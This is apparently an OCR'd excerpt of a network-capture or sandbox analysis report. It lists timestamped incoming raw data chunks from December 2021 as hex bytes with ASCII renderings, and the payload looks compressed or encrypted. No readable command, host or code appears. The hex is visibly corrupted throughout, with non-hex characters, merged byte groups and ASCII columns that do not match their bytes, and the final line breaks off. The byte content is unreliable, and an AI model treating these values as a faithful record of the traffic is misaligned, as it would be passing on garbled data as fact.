71 7b 7a 60 1d 4b de 5d a2 59 09 f4 a6 1f d7 f9 02 b2 d2 5a 15 aa 69 2a 51 f6 6a af 21 db b9 6e 9c 0d 4d b4 b9 38 db 1c
56 a3 42 ae e2 04 8e 9f 86 bd 99 13 a8 08 b8 5d 6d ba 33 42 29 8¢ c1 c4 d3 9c 9a d8 84 63 bl 7f 96 88 84 59 b1 2f 87 ab
87 e4 44 3c ce 74 18 01 03 71 d3 1d bc 5f db ba cb 1b
Data Ascii: :*q8pB7TCd=8-e1GM'V";_&Z=BSI5w&;sg[=[T+O4N&xS%Fr5%gbkdG6+q{z K]YZi*Qj!InM8VB]m3B)cY/D<tq_

2021-12-01 08:15:22 UTC 1681 IN Data Raw: cd 1b 95 6a 71 ee 2c f9 7e 76 be 03 88 70 ea 03 Oa e2 73 1d 33 5d 00 cb 36 dc 1a 88 9d eb 42 ad 80 3a c5 cf
b8 e0 5a 37 a9 7f al 29 1f d2 ff 7e e7 d9 d9 94 Oa 26 b9 60 a8 04 56 7f fc 66 22 ab 6a c9 29 7 df e3 8¢ 4e 73 55 93 06 7c
ea 52 d2 a2 85 b7 fb 8e d9 b4 51 70 76 d4 df b5 a8 1e 8e 30 20 ef 1e cc 50 de 28 60 fe 86 43 3¢ d5 a0 c1 a0 df 50 8f 2f 8d
c8 el 96 54 04 91 5a bb d2 85 7c fe a0 54 29 bb 70 e2 ab 21 fd 9e 43 9a 17 70 04 12 46 ae 61 74 b8 eb ae 82 40 ee {3 ed
6e bb 6d 76 Oe 9b 09 07 5f f4 f1 26 al c9 57 28 ad 23 b1 5d 48 f9 19 c4 f4 7c f3 e5 1b 9b 6¢ 2f 64 3d 6¢ 80 03 57 d2 Oe fc
d4 54 42 66 3b 94 8f de 9f 3a de a5 48 a6 92 53 70 1c dc cd b2 77 8 4e 8f 39 24 e0 db fc a0 12 a8 f4 35 bb 63 91 3e e7 6f
49 77 9f 98 fd f2 72 ¢5 bb cb 95 6b 41 da db
Data Ascii: jq,~vps3]6B:Z7)~& Vf'j)NsU|RQpvO P('C<P/TZ|T)p!CpFat@nmv_&W #H|l/d=IWTBf;: HSpwN9$5c>0lwrkA

2021-12-01 08:15:22 UTC 1697 IN Data Raw: 6a e5 40 75 96 99 41 9a ea cd ff f7 5f 65 ae 37 7d 7a c8 ce 88 96 a8 d1 53 c6 ad b2 20 6a a3 17 e2 c5 43 cd al
9d e2 88 1f 9c 1f b2 f5 91 2c 88 d9 92 d8 50 24 5d 29 d6 28 18 7e 94 d2 cd 17 6b c4 99 c3 c2 0f 2b aa ef aa ad 6a af 92 35
3acc 95 77 eb 5¢ 58 71 b9 37 8f 55 c1 fd ae e3 28 ad 5f ca 5d dd bd 77 15 ba e6 2a aa c0 89 5a 4b 10 51 e7 9b 57 31 e7
3d 12 bf cf d0 Oe aa 9b a6 b0 cb 91 bd 42 af 6a 76 a4 fe 00 d7 e5 fa 85 d6 78 28 dc 5f a9 dc ¢8 ca 33 04 74 fb 3a df db 9b
9a 64 22 a2 c4 eb 3e 31 82 95 07 fe 68 55 02 a3 ab b7 37 71 f6 2c 94 d2 6¢ 79 2e d9 68 6b d2 ba a2 15 35 fa 85 93 00 c9
1a 96 99 17 ed 3e 26 7b dO 10 81 3a 8e 6b 6a f3 c9 3d 6e ed 3d c5 03 e4 fb 2d 65 c1 f6 3d 8f 77 28 d0 81 2e 4d 40 74 c4
56 ad 53 ea 59 d8 93 43 c0 17 17 b1 f9 a2 3b 7e
Data Ascii: J@uA_e7}zS jC,P$])(~k+j5:w\Xq7U(_Jw*ZKQW1=Bjvx(_3t:d">1hU7q,ly.hk5>&{:kj=n=-e=w(.M@tVSYC;~

2021-12-01 08:15:22 UTC 1713 IN Data Raw: 6e 79 b4 1d ce eb 27 ec d7 fa 6 12 18 29 f3 b3 34 e6 c7 fd 53 9d 1d 97 dc 6e 03 91 88 4f b6 €9 43 {0 3e 40 f4
be 5 d8 2d ba 6¢ 16 15 65 79 94 16 2b a3 d1 a3 c1 a8 5e 40 73 4a 1f f4 6e c0 e7 bf 4d d1 d4 69 12 ae 5b 86 9d 2f ac 6d 66
1a bb 0 d2 ee 06 b6 5d 51 27 06 2f 32 45 17 12 96 8f 5d 8b 9e 7a 9c c4 31 31 97 a8 03 49 9a 93 61 f6 da 98 5d 7d dc 06
28 ¢0 da 02 04 8d c2 30 8f 5f 21 0f 03 4c 8b 50 39 34 d6 f5 04 e2 9e Oc 6f d9 98 b0 5d 29 31 9¢ 53 3 38 cd 63 68 af 86 0
¢88b 9b 9f 35 1c 93 52 54 5d €0 58 cd a0 56 64 cc b9 c4 db d3 d2 6e 10 d7 14 66 6e €9 b6 d4 aa a0 97 63 33 eb 1a 08 {6
7b a5 4e 04 46 bf 70 99 47 76 5 56 9f e7 a9 6e a4 30 b8 3¢ 3b Oe 9e 46 31 1b 75 bf 5d 1e bb 64 92 ae 0 02 bb 5f 43 d3
97 9d Oc ¢3 f0 1c 17 1f 2¢ d4 76 26 1a 3a 85 de
Data Ascii: ny'n)4SnOC>@-ley+*@sInMi[/mf]Q"/2E]z111a]}(0_ILP940])1S8chSRTIXVdnfnc3{NFpGWWnO<;Fluld_C v&:

2021-12-01 08:15:22 UTC 1729 IN Data Raw: 19 66 7b f2 38 94 a7 1f 55 06 c7 26 c4 2b bc e4 d9 a4 b4 7f d4 49 33 10 57 e5 57 02 f1 d8 05 d8 fc 1b 29 c7 2d
ef 2e b5 98 bb 92 d6 63 a8 7a 65 76 3a 72 38 fd 23 64 41 ec 0f 40 1f 8a fd a8 95 8¢ 80 8e 28 8b c8 4c 47 8f 14 8c 08 49 de
7d 262 9c 64 fd al 1c 26 52 c9 53 7a 7a 81 c3 31 63 de 3a fe d8 f0 58 12 d9 92 65 f2 55 38 97 65 8a dc 7f 55 a5 fO dO 3b
63 47 6¢ 62 2b b8 a2 af fe d5 af 81 b5 86 c¢1 1b 90 f3 25 62 99 f3 bb af 9d 9a db 05 c8 €0 19 d1 18 28 dd 81 75 09 b4 a7
96 a6 6a d4 cc 84 32 e2 3a be f9 69 4b 67 1d fO 14 82 fe 9b b7 ca e8 6e ad 76 b3 58 2f 49 f4 50 c0 b0 02 73 60 7c ec f1 cb
70 a6 6f e3 79 4c 30 23 83 5¢ f0 45 33 1a 25 8b 70 €6 10 f2 34 cf 1c 7e 99 ¢7 54 35 cb 43 59 51 7c 39 e5 66 7b 1b a3 8a
5 e4 58 Oe €8 36 cb 1f 8d 06 f2 e7 0d fO 7c
Data Ascii: f{8U&+I3WW)-.czev:r8#dA@(LGI}bd&RSzz1c:XeU8eU;cGlb+%b(uj2:iKgnvX/IPs |poyLO#\E3%p4~T5CYQ
|19f{X6|

2021-12-01 08:15:22 UTC 1745 IN Data Raw: aa Oe 4b e3 ef ca 88 ec al 8c ce 97 41 7b 39 7f 80 be 41 1e 66 96 ba 26 5f 1d 0a 81 c5 05 39 02 17 6e 49 3d
b8 58 99 36 7f d3 36 b6 d6 f4 €6 cd df f9 d6 27 63 e2 Oc ae 50 5d 5b b2 2e 9a 85 8f 3c c2 04 ¢6 f1 1b 98 05 6¢ 6¢ 10 fc b6
a5 9508 b8 f3 24 e5 al cO eb 6b dd 06 e5 8¢ 43 02 al d4 32 88 42 41 37 27 05 fb 32 e3 0a 22 45 47 23 76 2e dd 9b 7d e5
11 eb 0a 27 88 cd f1 63 Oc 42 b9 20 1f 50 60 62 d2 4f 27 11 dO 66 89 39 dd 18 a4 f2 ec Oa 83 Oe 82 af f3 06 af 38 d2 45 b3
39 44 c5 56 78 1a 31 96 2a 7f c5 d3 d9 c5 a3 b6 3¢ 82 2d 07 01 aa d4 f9 79 ca 8f bb 9e 27 49 f4 Oc 48 53 11 45 e3 61 c9
b7 07 8c 6f 5a 99 a4 d1 3a 31 0d 5e b0 e4 e2 46 1a Oe 86 9f c3 6f a7 49 ae Oc ef Ob ac Oc 10 fd 43 e4 b3 fa 61 98 8b 77 11
79 69 8f 61 cf 9a a3 f9 33 dc 32 40 8d 44 86 1a
Data Ascii: KA{9Af&_9nI=X66'cP][.<lI$kC2BA7'2"EG#v.}'cB P'bO'f98EIDVx1*<-y'IHSEaoZ:1"FolCawyia32@D
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2021-12-01 08:15:22 UTC 1761 IN Data Raw: 03 70 81 c9 f1 8d dd 65 5b 21 d9 9d 4a Oc ba 6f b8 19 ea dc 41 3d 02 9c 98 6 36 ab f0 22 b0 94 d7 da f3 fc 74
6¢ 67 10 be 3e 54 17 b4 d8 94 83 c2 ef e8 64 13 46 2 d6 ac 57 d2 42 12 56 90 8c 31 b2 9f 30 96 b5 6f 37 dc fe f7 78 6¢
8e bd el c5e8 bl dc 31 eb 38 c4 34 bb 0f 5b b9 21 87 6¢ ec 76 3a ca e8 eb 01 bb ae Oc 53 77 14 ef 20 65 b7 98 4f 84 {7
67 de 33 ¢7 c1 09 b8 ff 82 2b 46 1d 16 f2 b5 99 dc al 95 3e 62 75 Ob e4 39 cd e7 88 98 99 b2 39 de 17 5e 36 29 c2 33 fc
a0 63 f9 14 ad 79 3b 10 80 ce a4 3a 6b b7 6a 44 5a c4 64 d4 53 3¢ 28 b3 b1 99 d9 74 98 ad 39 5d b9 aa 11 53 bd 3b c4 1f
7f 18 ae 37 7f c1 d2 Oc 37 8f 22 81 f3 4a 3d 9e 24 cb 33 8f cb €8 87 07 a9 71 e2 a4 52 2a 9f e2 a7 24 16 69 18 c2 91 d5 62
46 26 73 5e 8a 4e 8d 38 95 79 af ff d7 al 49 00 b4
Data Ascii: pe[!lJoA=6"tlg>TdFWBV1007xI184[!lv:Sw eOg3+F>bu99”6)3cy;:kjDZdS<(t9]S;77"I=$3gR*$ibF&s"N8yI

2021-12-01 08:15:22 UTC 1777 IN Data Raw: 3c 8d 83 7b ad 9d df 8c 93 ee 9a Ob 90 19 10 22 f8 7d e6 7d b2 16 13 27 a6 0f 4b al 89 26 6e 41 3a b9 49 98
7e ca 5f 4b ce a4 ab af 87 7d 44 51 fa 4b 5b 96 d7 4d eb 16 56 9f df db 04 bf 1a 70 ab 33 23 58 37 d1 93 5f 7e 06 7f 22 8c
df f0 13 2¢c 7d 15 ab ¢8 08 62 7a b4 d6 61 5c 8f f2 e5 ac a9 93 c5 fd ce 5a 8b 56 a9 2a cb ¢9 1f d3 4c 8d 6d 36 a2 3a d3 08
4f 10 54 02 eb 7 b0 28 bd fb 86 al bc 76 79 2f a4 c¢6 Oc 51 fb 09 47 07 43 79 9b 64 5f 78 8e 8a 70 16 61 4d f1 ce 5e f8 95
23 e141 4540 f9 18 66 02 32 47 33 23 9d bf 51 56 a0 90 c9 13 e3 73 ff 5e 63 a6 4c 04 cb 56 86 Ob 84 83 d1 e6 60 aa 96
98 ad 07 43 ef 88 4c 5f 4c c6 58 38 29 7b 6f 33 fa 6f 87 b4 22 05 5b 9b 37 3a 5b 70 1a 67 37 db 44 bb 6e 13 a8 a3 31 84
8c 85 c2 00 a8 65 b4 d6 ab 24 12 c9 f9 42 58 60
Data Ascii: <{"}}'’K&nA:l~_K}DQK[MVp3#X7_~"}bza\ZV*Lm6:0T(vy/QGCyd_xpaMMAE@f2G3#QVs"cLV'CL_LX8){030"
[7:[pg7Dn1e$BX"

2021-12-01 08:15:22 UTC 1793 IN Data Raw: 49 8a f4 df 31 00 32 95 31 41 c0 36 ae 42 94 fc b9 ba 5f 36 a2 94 6¢ d0 30 95 6¢ 76 €3 91 7f 0a 92 81 5a a6 13
aa b2 5acl 09 d9 6d ee 6e 6a 57 ef d8 fd f0 37 ad al 4c ea 98 48 2d 18 aa a7 64 60 cb 34 b7 21 3b 1f 82 6f f9 bd 99 b3
42 de 56 4a 74 c9 ae 8a c0 21 3d 3f 7e 55 30 87 02 d7 ec d1 e0 b0 37 7e 6b d1 45 2a fd 5a 58 3f e4 71 f4 5¢ a1 08 7f cb
7d 4d ef 3f 4c 4d 45 6 fe 65 95 5f 80 1e 3c 24 e5 9d Ob b8 ca a0 09 69 83 86 c1 ec ae 5b ed e3 02 77 02 74 26 66 d8 12
aa e3 cf de 66 04 63 65 7e de 91 41 a4 c0 b8 d2 10 fc 19 3fc1 95 13 44 eb a9 36 65 ed 44 48 1e 40 43 8e 2c €3 b3 db 32
6a 79 54 2 9f 56 a0 96 59 12 54 1e ed 51 90 2e c6 7f 9b a7 52 6e 5b c1 6a 43 €3 17 42 b3 c1 7 9e 04 de cf da f4 1b a3
90 14 d8 d2 6d 6e 50 3c 88 fd Oc a8 99 5e 04 f9 1e ff
Data Ascii: 1121A6B_610lvZZmnjW7LH-d 4!;,0BVJt!=?~U07~KE*ZX?q\IM?LMEe_<$i[wt&ffce~A?D6eDH@C,2jyTVYTQ.
Rn[jCBmMnP<?

2021-12-01 08:15:22 UTC 1809 IN Data Raw: b4 05 74 4d 27 8c b1 81 f0 81 f2 46 8 1e bd ba 3a 58 55 19 1d 67 b7 2d fa 44 1b 4b 1f 4e f8 68 d1 e3 f4 d3 45
10 a3 b3 af a7 0b 9f 63 86 b6 5 7a b4 d7 27 a7 Of e4 18 15 de 37 4e cl fc 5f cb 80 8e 78 6b 67 3a ed b1 4f 1f b5 01 bb 97
56 d0 36 8e 2a 36 76 4c f1 08 9e 36 20 86 21 01 af 24 c2 57 40 99 8d 57 b6 02 13 a9 29 8a 39 fc 4f 46 cf 1f 4e cf 3b e5 26
el 5d 7c 45 49 9e ea 8b b9 25 71 aa d5 1f 54 75 92 bb 9a 41 fd 84 cb Oa c1 fb 9a a8 36 5e 68 d6 8e 2a c4 40 0d 81 Oe e9
cd 20 7a 62 05 5e 2b 68 af 6f e5 18 ac 8d 15 55 23 88 fc 6¢ 2f 99 87 e7 f2 d9 4c e7 9f 74 fa 8d 57 1b 29 5e 51 54 4a 51 f9
20 02 f5 d6 6e 0a 78 3a f2 d5 cb b1 56 40 78 1e 06 63 1a b5 1f ed f1 37 e0 9e 95 25 2c e9 af 42 2f bc 84 00 le 6 65 2b 39
bd f5 73 78 3f d5 33 e0 da 48 00 69 a4 6f
Data Ascii: tM'F:XUg-DKNhEcz'7N_xkg:OV6*6vL6 I$W@W)90FN;&]|EI%qTuA6”h*@ zb +hoU#I/LIW)"QTJIQ nx:V@xc7
%,B/e+9sx?3Hio

2021-12-01 08:15:22 UTC 1825 IN Data Raw: 04 a0 d5 b0 0d 75 b6 c2 84 3f 8d 49 1a ee b6 07 ad 28 d4 b5 bd 3e 2d 86 27 98 67 f0 bl a6 2b 41 25 9d 99 21
13 c0 8d 2a bd Oe d4 83 17 cd 20 b3 46 9a a8 5a 09 13 6a 3a c5 8e 5e 51 59 f4 16 17 6 26 80 Of 22 97 00 ba 2d al db d7
02 c3 8 a0 03 ad c8 4 9a 32 34 19 93 54 38 ed 58 Oc 56 36 4e 13 34 b3 58 07 bc fb 4e 98 e4 2d al b4 a0 94 1c 7c 9a cd
e4 d3 ea 80 f8 7a 89 7 4d ff 57 64 13 1 bb 8¢ 17 1e 23 4e a3 c3 80 5¢ a2 80 a2 42 1b fa 01 78 35 2¢ 5d 31 99 41 e4 ¢5 Oe
66 ce a2 c7 37 c1 c2 a6 1f e9 3d 86 25 a9 dd 42 a2 fb f3 05 3a 9a 23 0d 7b 68 78 cb 83 17 28 f5 87 12 ¢1 b0 54 €3 5b 7a
55 12 a4 be ca 8e 7e a7 27 89 2¢ 18 bd 37 53 d3 {7 d2 7c 97 36 61 Oe 7c d8 d8 66 63 bb 8b 2b 65 05 46 94 3a 85 96 13
4d 2e Oc 8d 7a b8 df 82 fa 12 c6 d8 ba e5 b0 31 05 b1 38
Data Ascii: u?(>-'g+A%!* FZj:A\QYNn&"-24T8XVENAXN-|zMWd#N\BX5,1Af7=0%B #{hx(T[zU~', 7S|6alfc+eF:M.z18

2021-12-01 08:15:22 UTC 1841 IN Data Raw: 23 bf 55 26 83 45 4f de c2 92 58 06 16 8c aa 81 4e 4a 26 24 9f 2a b0 56 7e bd d9 68 15 c3 14 fe cf 12 b2 38 9d
75 48 f0 d0 e9 38 86 22 6a €9 eb 44 fe d8 6e 7d 62 a2 9c ba 51 16 e7 54 85 99 c5 39 2d Oc c2 26 cf 5a a0 6b b3 d4 6d 03
59 ca 01 37 e5 c9 fd bd 4c e5 9f 3b 7f 5d 2a 33 c1 ¢7 48 27 3b 45 c2 66 5 86 50 6d a8 c9 d4 39 b4 d2 26 8d 6b 4b 2d 06
dc e6 3326 b2 6d 69 el d2 e7 ef 17 73 fd 18 a5 aa 40 f2 63 2f a6 6b 1f 5e 72 8e e5 b4 3b aa 94 f0 ab 71 22 8d e6 Oe 7b
bf 48 a4 59 e7 d8 49 45 Oc 8a 61 d4 e8 17 af 13 1c ee e4 fc 7a 4e b0 4e 57 2e a7 82 75 99 89 b8 ee €9 99 63 d0 2c fa 55
1f d5 6a 7c 15 29 Oa dc 7a 39 1a fa 18 39 37 2b de 47 d5 3e db 99 37 4d 6d 9f e2 60 c8 98 ff 97 d9 3b da a4 3e 45 8f e7
3b0d 12 a4 11 1d 75 4 cd ec b9 a3 27 0d 6¢ 9f df e8
Data Ascii: #U&EOXNJI&$*V~h8uH8"Dn}bQT-&ZkmY7L;]*3H";EfPmI&KK-3&mis@c/k r;q"{HYIEazNNW.uc, Uj|)z997+
G>7Mm’;>E;u'l

2021-12-01 08:15:22 UTC 1857 IN Data Raw: fc 27 be fb 77 0f f7 da 6b 77 a2 Oe 25 1b 9e 50 11 5b 34 6f 04 af 36 08 31 3a 5d 42 4f 27 78 8a 5b e3 fa 12 ac
53 34 33 56 0a ae d9 4e 6a 90 ea 3e 55 27 91 7b 94 2c 23 cf 91 0f 80 0d e0 7f 5d 7a 69 78 bd f9 43 0a e2 97 fb 9b 67 8d
a5 7f d6 69 a4 28 84 17 fd 79 6b 03 52 4f 4b €9 eb a5 06 e5 21 f0 cf 15 ¢9 b6 63 8d 2a 14 18 9c b9 cf ca 7d d9 36 6a 6¢ 78
06 4b 05 78 5c dd 3a d7 8f 04 1f c3 60 0a 2b 9f 82 0d a0 b7 d5 42 ab d7 ¢3 07 e4 c2 59 79 1e 3d db 15 76 fc d1 al d4 89
a9 Oc b2 80 16 96 f2 97 58 13 18 55 6¢ d2 42 e2 30 ab ea €0 56 01 12 44 27 3f 1e 68 7d 60 b2 49 fc b0 3d ba 26 53 6f 1b
58 4e bf 36 Ob 76 45 65 85 b9 1d e3 81 21 ad fb e7 1b e4 3c fc ¢7 97 e0 87 21 15 5a 3d 5¢ eb ae 4b 33 d6 ea 48 3a ca 5¢
d8 32 ac ee 5a b0 ab 90 7b 98 34 b3 e6 6a 7b 18 a3
Data Ascii: 'Wkw9%P[4061:]BO'X[S43VNj>U'{,#]zixCgi(ykROK!c*}6jlxKx\: +BYy=vXUIBOVD'?h} I=&SoXN6VEe!<! Z=\K3H:\2Z
{4i{

2021-12-01 08:15:22 UTC 1873 IN Data Raw: 6f 31 54 dd 52 ac ea eb 30 40 00 eb 5a a5 20 2f 5e fc 22 Oc b4 3f ea 1c 5¢ 1d 31 67 le 82 0f 23 4e 73 54 c2 8¢
91 3c e8 09 18 26 d2 8f f2 ef c8 a3 el 21 24 al d5 86 7f 67 00 05 68 f5 7e c2 7b 33 ae 9¢ b6 57 84 61 fd 44 1f 82 1e 85 46
32 a0 6f 5¢ 7f 16 03 2f 54 8b 3a b7 92 ab 3e a8 ca 0d de cd 9b 7 00 0a 90 93 ab 31 fa 8¢ 45 6e 85 36 2d c4 61 db 86 b7
3d 76 €7 04 40 80 f8 7f 43 5a db 77 c6 aa 8a 42 aa 1c be c8 Ob 2a 71 b3 al 70 8e a2 9a 38 {7 f6 Oe da a9 df 13 ff 4e bd 41
3c f9 48 35 be 1d 5e 7a 96 1c 57 35 99 37 dO 4e 25 58 3f 4c 95 57 63 5a 58 93 20 f8 c3 46 €8 11 4b a9 3 13 6a 4d 06 fb
30 5f b2 44 7d b2 50 67 a7 31 ef 4e 77 77 9d 8b 73 c8 91 ef ec da 21 95 e9 6d 77 fd 82 fa b2 0d 3f 67 04 41 92 69 99 7d
74 65 a5 3d 38 7f d1 97 6f 90 c2 81 42 Ob 2b b9
Data Ascii: 01TRO@Z /""?\1g#NsT<&!$gh~{3WaDF20V/T:>1En6-a=v@ CZwB*qp8NA<H5"zZW57N%X?LWcZX FK
jMO_D}Pg1Nwws!mw?gAi}te=8oB+

2021-12-01 08:15:22 UTC 1889 IN Data Raw: 2b 81 45 df 9b 11 37 9c 25 5b 5b 27 7d c5 8f b9 8d 13 28 fc 4d 99 a2 d8 35 bf 9b c8 38 c3 6f 75 f6 €7 e4 8 {3
79 91 6b 83 1b fc 49 5e 0d e4 2d 5b 51 48 8b 70 43 35 b9 9b e2 41 19 9f f8 3f 55 52 20 8¢ Oe 7b b5 01 e4 20 6d 62 4a ef
99 d3 db b6 05 21 32 af eb 21 52 05 75 06 4c ec de ea c3 bc bf aa ¢5 6f al 6 29 99 35 93 54 bc 28 39 7d 4f 7a cc 70 b6
51 90 9¢ 81 04 Oc 58 a7 47 df ad cb 5e 67 93 4e 0d e2 77 93 36 d0 80 Oa 33 48 cf c6 e8 f2 81 6f 63 00 f2 4b 02 ff 34 c7 4a
6b 30 b3 Of c1 ef 9b 5¢ 47 dd 86 5c 8f fe 6e 3¢ Oe fb ae 15 39 75 31 a8 f4 6a 70 9c f6 3e 38 aa e2 57 6e 93 50 5¢ e3 a9 fd
75 6af4 77 al a0 1e 39 e8 97 f6 20 10 e2 9e a5 69 f8 2f 6e 10 9a 84 ee 02 57 b9 3e f6 2b €8 a0 e0 8a 37 de 08 0f 52 bd
41 6b ff 80 34 al cl c2 66 41 Oa a6 07 10 2a 50
Data Ascii: +E7%[['}(M58ouykI*-[QHpC5A?UR { mbJ!2!RuLo)5T(9}0zpQXG gNw63H0ocK4JIk0\G\n<9u1jp>8WnP\ujw9
iIINW>+7RAK4TA*P
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Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 1893 IN Data Raw: 3e 75 6e 9f f4 93 75 ¢8 8d 0a 79 22 3a 66 09 ad ab 03 37 8e 65 54 f8 a5 17 5d 70 4e 57 33 c¢5 37 5d 16 2c 60
5d el 8d fb fa 04 25 fd eb 23 03 30 c1 84 ce 9a 00 73 8f 05 b9 fa da e4 2b a6 2e f4 16 Oa e3 b2 cb 99 8b 5d 75 1b 19 8¢ 7f
88 0 51 77 82 54 b5 5¢ df 95 6¢ 52 d3 00 eb e7 e6 33 fe a6 dc 6f de 18 07 b8 8b 14 3b e3 a2 83 32 b7 25 9f e6 5d 85 97
3d 39 61 df a9 91 ee al 22 6a 24 84 5d cf ff 05 8c 10 08 8f ae 91 f7 01 9d 6¢ 7a 83 58 36 b5 b0 38 2e d8 fe 6f 64 58 87 d5
55 f6 5e 72 48 92 43 dc 57 70 61 b7 9c c3 07 fe 8e 53 23 5¢ 73 81 3b 8f af 74 41 a7 fe 6b 4c a0 cb 1e d9 d6 2a 00 df 66 8f
0f c7 7a 21 04 e6 fe 8f 95 9f 9a fc 37 23 ea c5 fb 18 4d 53 e3 9f d8 f8 03 59 dc ec 2 7b 8c 56 55 31 €7 75 15 ee 91 36 7c
€8 89 94 57 94 c6 3e d8 04 f4 0a 93 27 75 10
Data Ascii: >unuy":f7eT]pNW37], ]%#0s+.JuQwT\IR30;2%]=9a"|$]IzZX68.0d XU rHCWpaS#\s;tAKL*fz! 7#MSY{VU1u6|W>'u

2021-12-01 08:15:22 UTC 1909 IN Data Raw: 0d f1 67 50 be 06 75 8e 1b a8 54 ca ea 26 06 e7 3d Of 5 Oc e8 ff fb d9 62 20 fO 81 88 5c¢ fd cf el 1e 33 11 90 bf
4b 07 40 42 89 ¢4 bd 17 81 82 69 2d 15 2d ad 78 01 59 dd ea 97 8a c0 52 c0 fd 62 fe d5 de 5d 0a 91 2e 0a b3 23 b7 f6 8e
cc 9d 46 91 94 18 73 57 19 ba 56 d2 8a 03 05 e6 05 a9 6d d8 c9 7 2e be a2 dd 22 55 66 3f al 17 35 a9 61 73 70 1a 9c 83
a6 ce fa a8 99 d1 7f 9f e2 c2 35 4b 92 ¢9 02 e4 84 57 df cb cd b2 65 55 0Ob 82 fc bb 91 51 ef 23 56 6a fe 9¢ 75 75 54 ce 8b
31 b0 e5 2b 48 b3 71 0f b5 67 00 7e 8f ca e2 c2 60 al ed c3 8d ea ee 61 7e 9d 1le 7a 3e 9f c4 c8 02 8a 32 a7 af 08 36 bl
€6 89 ¢5 72 Oe c9 ce 98 d8 9a a3 42 4c 66 82 31 9f c8 Ob 07 06 88 16 bf 38 6a 5a 64 8f d4 dc 65 5e bb c2 84 e4 d8 09 86
a3 2a 85 7c 5d 2c c1 cc b6 b2 03 8b 2e f4 a0 40
Data Ascii: gPuT&=b \3K@Bi--xYRb].#FsWVm."Uf?5asp5KWeUQ#VjuuT1+Hqg~ a~z>26rBLf18jZde"*|],.@

2021-12-01 08:15:22 UTC 1925 IN Data Raw: 47 6b 99 84 4c 00 de 70 50 12 c4 c6 db 41 07 06 48 ce 30 64 5e 27 9b 3c a8 b6 fb 28 1e 7d 5e 31 92 13 45 61
b7 35 bc 47 1d ff ca 12 7f 3b 93 ¢5 01 ab 5f 1c 86 6a 20 45 28 ac e2 08 45 30 5a 4e 11 31 95 d9 b5 31 Oe 18 dc 38 c3 66
5f f8 30 dc 31 Oc 46 61 16 c3 €6 19 d6 59 8e ee 75 c9 cl a8 13 fe 25 b2 7d 2a 98 08 43 6e da 79 af f7 3e ¢9 d2 b0 24 d9
58 c7 34 7d de fa ff 63 2e e7 17 eb 3d 7d 52 f0 2d 03 c5 a8 e2 9e fe 38 2e 09 5b b1l b0 60 81 11 da 60 40 29 Oc b5 a3 06
b4 74 d2 81 cd 86 eb c2 78 86 8a d1 9b c6 39 47 c8 15 5d ¢4 72 d2 b1 76 a6 c8 03 cc 78 a9 06 24 e7 79 47 46 1d 85 b3
¢4 76 4d 26 29 9d d9 7f Oa bd ad 01 81 0a 6d c7 b3 35 32 e2 86 €2 a4 48 93 08 31 be eb 77 47 a7 5 cb 5a 2c 05 47 f9 d5
6e 9c 37 11 57 d2 77 94 95 53 7e 30 cf fa 47 d3 b8 Ob 5¢ c9
Data Ascii: GKLpPAHOdN<(}"1Ea5G;_j E(E0ZN118f_01FaYu%}*Cny>$X4}c.=}R-8.[ @)tx9G]rvx$yGFVvM&)m52HIwWG
Z,Gn7WwS~0G\

2021-12-01 08:15:22 UTC 1941 IN Data Raw: 46 09 3b 9c cb 26 46 0d 58 1e 87 60 31 bf e0 f4 34 7e b3 10 6e 35 08 bf 29 6f 1a 27 02 22 f2 4c d8 ed bb Oe 05
83 ff 77 fd 9c 93 4b de Of 6¢ bf 17 42 c2 32 a8 22 b1 bd 42 7f 4b af 12 7e e4 59 fb 1d 0d 1b el 49 f5 1 cf ab 50 53 d0 e7
51 38 e7 16 e3 f1 7d 23 84 7e 20 13 be df 85 cf 60 ad €9 54 61 22 c1 bf 28 bb ae dc a4 a7 8b Oc 4f d3 54 9e 05 83 6a 9c
2b 60 01 52 e5 62 6e b3 68 ea db 16 a2 33 b5 ¢5 99 62 7253 61 el 78 72 6b bf 98 74 dO cb 6 e6 dc e2 f4 7d e5 dd 2d 39
84 017590 d0 13 e7 76 al 7e 65 97 81 43 e7 81 92 fd 97 e0 03 76 5e fe 88 bf 67 94 87 37 30 b3 dc 5d 1c 14 b3 f5 e5 29
2a 80 55 9f b3 35 d8 83 fb 50 03 65 df c3 a2 f6 3b 38 25 62 ad 65 5d 54 5b d9 41 6e b9 fd 04 b4 ce b0 75 ff ce 29 9f 34 38
a0 21 71 36 86 2c 4d 4e 36 b5 6b 2d 0d e0 2f 61
Data Ascii: F;&FX 14~n5)0"LwKIB2"BK~YIPSQ8}#~ "Ta"(OTj+ Rbnh3brSaxrkt}-9uv~eCv”g70])*U5Pe;8%be] T[An
u)48!96,MN6k-/a

2021-12-01 08:15:22 UTC 1957 IN Data Raw: 1f 46 69 b3 e4 13 98 b3 01 87 cf 9a e8 ae 16 26 3¢ 42 d1 9a 48 5a f9 5d 96 32 4a 05 30 08 ¢3 40 67 91 79 97
d3 4e 51 54 8f b1 87 71 b9 5f 35 7d da 8c d9 3c 6¢ d2 bd 5a 8a 26 {7 5f 46 ed 7c 48 67 16 38 e4 57 94 be a3 21 56 7e b4
0d da 7f b5 2d 85 18 b6 b4 3b 71 a8 04 de 95 bc cd eb cb 9b 47 1b a4 39 d8 d7 19 b0 1e d8 6 aa b2 44 b8 b7 27 9b cb 52
dd 59 bb c8 19 70 71 Ob ed 45 48 0a 53 b 6d d0 86 ec Ob c7 24 c7 a6 b6 €6 a8 a8 5e 8f 2a 85 b8 13 b9 d0 55 9 c2 22
a7 67 bb 04 5¢ 09 a0 76 c9 65 fd 27 5¢ 51 35 c1 b2 3f 5e 1a d9 92 11 a0 a9 27 ¢8 dd el 95 fa 88 39 5a 57 1a a8 d7 1b 19
23 ¢2 2f 4e d7 90 0d e6 67 a5 d1 d0 05 Of 2d 99 15 8a cc 4e 79 45 92 9e d7 d9 47 3d dd fc aa ea 30 5f f8 43 8d 2¢ a7 d1i
d2 5b 12 d4 do b4 3¢ 49 84 06 5d 5e de 4f 3b 07 49 48 84 48
Data Ascii: Fi&<BHZ]2J0@gyNQTq_5}<IZ&_F|Hg8W!V~-,qGID'RYpqEHSMSMU"g\ve'\Q527'9ZW#/Ng-NyEG=0_C, [<I]*
O;IHH

2021-12-01 08:15:22 UTC 1973 IN Data Raw: Of 44 94 36 58 {7 ae 71 4a d8 4e 47 6e be d7 f1 77 el 94 fO 8c Oc 3a 49 45 f7 13 09 de c8 5 40 03 83 68 3d d6
